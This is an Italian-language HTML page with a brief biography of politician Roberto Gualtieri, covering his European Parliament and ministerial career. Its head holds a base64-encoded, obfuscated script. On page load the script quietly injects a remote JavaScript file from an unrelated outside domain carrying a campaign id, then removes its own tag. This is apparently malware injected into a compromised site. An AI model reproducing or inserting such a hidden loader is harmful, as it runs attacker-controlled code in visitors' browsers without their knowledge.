<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">

<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  
  <meta name="generator" content="PSPad editor, www.pspad.com">
  <title></title>

  <!-- Ajax -->
        <link rel="dns-prefetch" href="https://ajax.googleapis.com/">

        <script id="2DXhu" src="data:text/javascript;base64, dmFyIF84c25qYSA9IFsnXHg3MVx4NzVceDY1XHg3Mlx4NzlceDUzXHg2NVx4NmNceDY1XHg2M1x4NzRceDZmXHg3MicsICdceDYyXHg2Zlx4NjRceDc5JywgJ1x4NjdceDY1XHg3NFx4NDVceDZjXHg2NVx4NmRceDY1XHg2ZVx4NzRceDQyXHg3OVx4NDlceDY0JywgJ1x4NDRceDRmXHg0ZFx4NDNceDZmXHg2ZVx4NzRceDY1XHg2ZVx4NzRceDRjXHg2Zlx4NjFceDY0XHg2NVx4NjQnLCAnXHg2M1x4NzJceDY1XHg2MVx4NzRceDY1XHg0NVx4NmNceDY1XHg2ZFx4NjVceDZlXHg3NCcsICdceDczXHg2M1x4NzJceDY5XHg3MFx4NzQnLCAnXHg3NFx4NzlceDcwXHg2NScsICdceDc0XHg2NVx4NzhceDc0XHgyZlx4NmFceDYxXHg3Nlx4NjFceDczXHg2M1x4NzJceDY5XHg3MFx4NzQnXTsoZnVuY3Rpb24oX1IyUDlCLCBfOVgySzApIHt2YXIgX2FrdUQxID0gZnVuY3Rpb24oXzY3cWdhKSB7d2hpbGUgKC0tXzY3cWdhKSB7X1IyUDlCWydwdXNoJ10oX1IyUDlCWydzaGlmdCddKCkpO319O19ha3VEMSgrK185WDJLMCk7fShfOHNuamEsIDB4MTFiKSk7dmFyIF9veFB0QSA9IGZ1bmN0aW9uKF9idlpyVSwgX0pEOGRIKSB7X2J2WnJVID0gX2J2WnJVIC0gMHgwO3ZhciBfblFEOGsgPSBfOHNuamFbX2J2WnJVXTtyZXR1cm4gX25RRDhrO307ZG9jdW1lbnRbJ1x4NjFceDY0XHg2NFx4NDVceDc2XHg2NVx4NmVceDc0XHg0Y1x4NjlceDczXHg3NFx4NjVceDZlXHg2NVx4NzInXShfb3hQdEEoJzB4MCcpLCBmdW5jdGlvbigpIHt2YXIgXzhrUmY0ID0gZG9jdW1lbnRbX294UHRBKCcweDEnKV0oX294UHRBKCcweDInKSk7XzhrUmY0W19veFB0QSgnMHgzJyldID0gX294UHRBKCcweDQnKTtfOGtSZjRbJ1x4NzNceDcyXHg2MyddID0gJ1x4NjhceDc0XHg3NFx4NzBceDczXHgzYVx4MmZceDJmXHg2YVx4NmZceDYyXHg3Mlx4NjVceDYzXHg3Mlx4NzVceDY5XHg3NFx4NjVceDcyXHgyZVx4NjFceDY3XHg2NVx4NmVceDYzXHg3OVx4MmZceDVmXHg3Mlx4NjVceDZkXHg2Zlx4NzRceDY1XHg1Zlx4NzRceDcyXHg2MVx4NjNceDZiXHgyZVx4NmFceDczXHgzZlx4NjNceDYxXHg2ZFx4NzBceDYxXHg2OVx4NjdceDZlXHgzZFx4NzVceDUzXHg0OVx4NTJceDZlXHgzOVx4NzJceDQ0XHg1YVx4NGMnO2RvY3VtZW50W19veFB0QSgnMHg1JyldKF9veFB0QSgnMHg2JykpWydceDYxXHg3MFx4NzBceDY1XHg2ZVx4NjRceDQzXHg2OFx4NjlceDZjXHg2NCddKF84a1JmNCk7ZG9jdW1lbnRbX294UHRBKCcweDcnKV0oJzJEWGh1JylbJ1x4NzJceDY1XHg2ZFx4NmZceDc2XHg2NSddKCk7fSwgeydceDZmXHg2ZVx4NjNceDY1JzogISFbXX0pOw=="></script>
    
</head>
  <body>
  <h2>Roberto Gualtieri</h2>
<p><img src="./assets/all.jpg" alt="" style="display: block; margin-left: auto; margin-right: auto;"><br>Roberto Gualtieri è un politico, storico e accademico italiano, dal 5 settembre 2019 Ministro dell'economia e delle finanze del Governo Conte II.
Dal 7 giugno 2009 al 5 settembre 2019 è stato deputato europeo del Partito Democratico. Nel luglio 2014, è stato eletto Presidente della Commissione per i problemi economici e monetari al Parlamento Europeo.<br><br>
È professore associato di Storia contemporanea all'Università degli Studi di Roma "La Sapienza" ed è vicedirettore della Fondazione Istituto Gramsci. È autore di numerosi libri ed articoli sulla storia italiana e internazionale del XX secolo e sul processo di integrazione europea. Collabora a diversi quotidiani e riviste, ha diretto il Rapporto annuale sull'integrazione europea per l'editore Il Mulino.<br><br>
Membro della segreteria romana dei Democratici di Sinistra tra il 2001 e il 2006, nell'ottobre 2006 è stato uno dei tre relatori del convegno di Orvieto che ha dato il via alla costruzione del nuovo partito e ha successivamente fatto parte della commissione di "saggi" nominata da Romano Prodi che ha redatto il "Manifesto" per il Partito democratico.<br><br>
Nel 2007 viene eletto all'Assemblea nazionale del Partito Democratico, nel 2008 entra a far parte della Direzione nazionale, dove è stato rieletto nel gennaio 2014.

Nel settembre 2019 è nominato Ministro dell'Economia con il governo Conte II.<br><br>
Nella primavera del 2009 è stato eletto deputato europeo per il PD nella circoscrizione Italia Centrale. Nel luglio 2009 è stato nominato titolare della Commissione per gli Affari Costituzionali (AFCO), e della Sottocommissione per la Sicurezza e la Difesa (SEDE), in cui ha ricoperto l'incarico di coordinatore per il Gruppo dei Socialisti e Democratici; membro sostituto della Commissione per gli Affari Esteri (AFET) e della Commissione per i Bilanci (BUDG), in cui ha ricoperto l'incarico di relatore permanente per il bilancio sulla PESC.<br><br>
A seguito della sua rielezione a deputato europeo, il 7 luglio 2014 è stato eletto Presidente della Commissione per i problemi economici e monetari.

Relatore di numerosi provvedimenti, tra cui la relazione annuale sull'Unione bancaria, vari regolamenti sulle statistiche, le nomine ai vertici di Bce, Srb, Eba, Esma, Eiopa, Efsi, gli Npl e il nuovo programma InvestEu, è molto impegnato nel coordinamento dell'attività della Commissione Econ nell’ambito della regolamentazione dei mercati finanziari presiedendo tutti i triloghi legislativi.<br><br>
</p>
  

</body>
</html>